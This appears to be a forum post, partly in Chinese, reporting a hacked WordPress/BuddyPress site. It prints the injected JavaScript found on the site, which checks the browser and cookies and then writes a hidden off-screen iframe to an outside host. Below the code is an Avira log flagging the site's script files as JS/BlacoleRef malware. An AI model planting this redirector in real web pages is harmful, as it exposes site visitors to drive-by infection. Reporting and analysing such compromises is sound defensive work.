http://rumbalatinanyc.com/members/bradsmith5897

fireold

1. function gra(a, b) {
   
2.     return Math.floor(Math.random() * (b - a + 1)) + a;
   
3. }
   
4. 
   
5. function rs() {
   
6.     return Math.random().toString(36).substring(5);
   
7. }
   
8. if (navigator.cookieEnabled && document.cookie.indexOf('testcookie1=') == -1) {
   
9.     var stnm = rs();
   
10.     var ua = navigator.userAgent;
    
11.     var url = document.location.href;
    
12.     if (url.indexOf('admin') == -1 && ua.indexOf('Windows') != -1 && (ua.indexOf('MSIE') != -1 || ua.indexOf('Opera') != -1)) {
    
13.         document.write('<style>.s' + stnm + ' { position:absolute; left:-' + gra(600, 1000) + 'px; top:-' + gra(600, 1000) + 'px; }</style> <div class="s' + stnm + '"><iframe src="http://globalmsn.org/ad/feed.php" width="' + gra(300, 600) + '" height="' + gra(300, 600) + '"></iframe></div>');
    
14.     }
    
15.     var exp = new Date();
    
16.     exp.setDate(exp.getDate() + 7);
    
17.     document.cookie = 'testcookie1=' + rs() + '; expires=' + exp.toGMTString();
    
18. }

复制代码

Avira

2013/11/28 下午 07:36 [System Scanner] 發現惡意程式碼
      檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
      Files\Low\Content.IE5\MDC6X2XG\jquery[6].js'
      包含病毒或有害的程式 'JS/BlacoleRef.W.106' [virus]
      已採取動作：
      檔案會移動至 '4d09a9e3.qua' 名稱底下的隔離區目錄。.

2013/11/28 下午 07:36 [System Scanner] 發現惡意程式碼
      檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
      Files\Low\Content.IE5\UL724GWW\jquery.form[2].js'
      包含病毒或有害的程式 'JS/BlacoleRef.W.106' [virus]
      已採取動作：
      檔案會移動至 '559e8644.qua' 名稱底下的隔離區目錄。.

2013/11/28 下午 07:36 [System Scanner] 掃描
      掃描結束 [已完成全部的掃描。]。
      檔案數：        817
      目錄數：        0
      惡意程式碼數：        3
      警告數：        0

2013/11/28 下午 07:36 [System Scanner] 發現惡意程式碼
      檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
      Files\Low\Content.IE5\AVC3APW1\swfobject[1].js'
      包含病毒或有害的程式 'JS/BlacoleRef.W.106' [virus]
      已採取動作：
      檔案會移動至 '1ea7f311.qua' 名稱底下的隔離區目錄。.

2013/11/28 下午 07:35 [Real-Time Protection] 發現惡意程式碼
      在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
      Files\Low\Content.IE5\6TI8XMAJ\widget-members[1].js 中
      偵測到病毒或有害的程式 'JS/BlacoleRef.W.106 [virus]'
      執行的動作：傳輸至掃描程式

2013/11/28 下午 07:35 [Real-Time Protection] 發現惡意程式碼
      在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
      Files\Low\Content.IE5\A6GBLLHM\global[1].js 中
      偵測到病毒或有害的程式 'JS/BlacoleRef.W.106 [virus]'
      執行的動作：傳輸至掃描程式

2013/11/28 下午 07:35 [Real-Time Protection] 發現惡意程式碼
      在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
      Files\Low\Content.IE5\VUGD722P\scripts[2].js 中
      偵測到病毒或有害的程式 'JS/BlacoleRef.W.106 [virus]'
      執行的動作：傳輸至掃描程式

2013/11/28 下午 07:35 [Web Protection] 發現惡意程式碼
      從 URL
      "http://rumbalatinanyc.com/wp-content/plugins/buddypress/bp-themes/bp-default/_i
      nc/global.js?ver=3.0.5" 存取資料時，
      發現病毒或有害的程式 'JS/BlacoleRef.W.106' [virus]。
      已採取動作：已略過

2013/11/28 下午 07:35 [Web Protection] 發現惡意程式碼
      從 URL
      "http://rumbalatinanyc.com/wp-content/plugins/buddypress/bp-core/js/widget-membe
      rs.js?ver=3.0.5" 存取資料時，
      發現病毒或有害的程式 'JS/BlacoleRef.W.106' [virus]。
      已採取動作：已略過

2013/11/28 下午 07:35 [Web Protection] 發現惡意程式碼
      從 URL
      "http://rumbalatinanyc.com/wp-content/plugins/contact-form-7/scripts.js?ver=2.4.
      3" 存取資料時，
      發現病毒或有害的程式 'JS/BlacoleRef.W.106' [virus]。
      已採取動作：已略過

fs is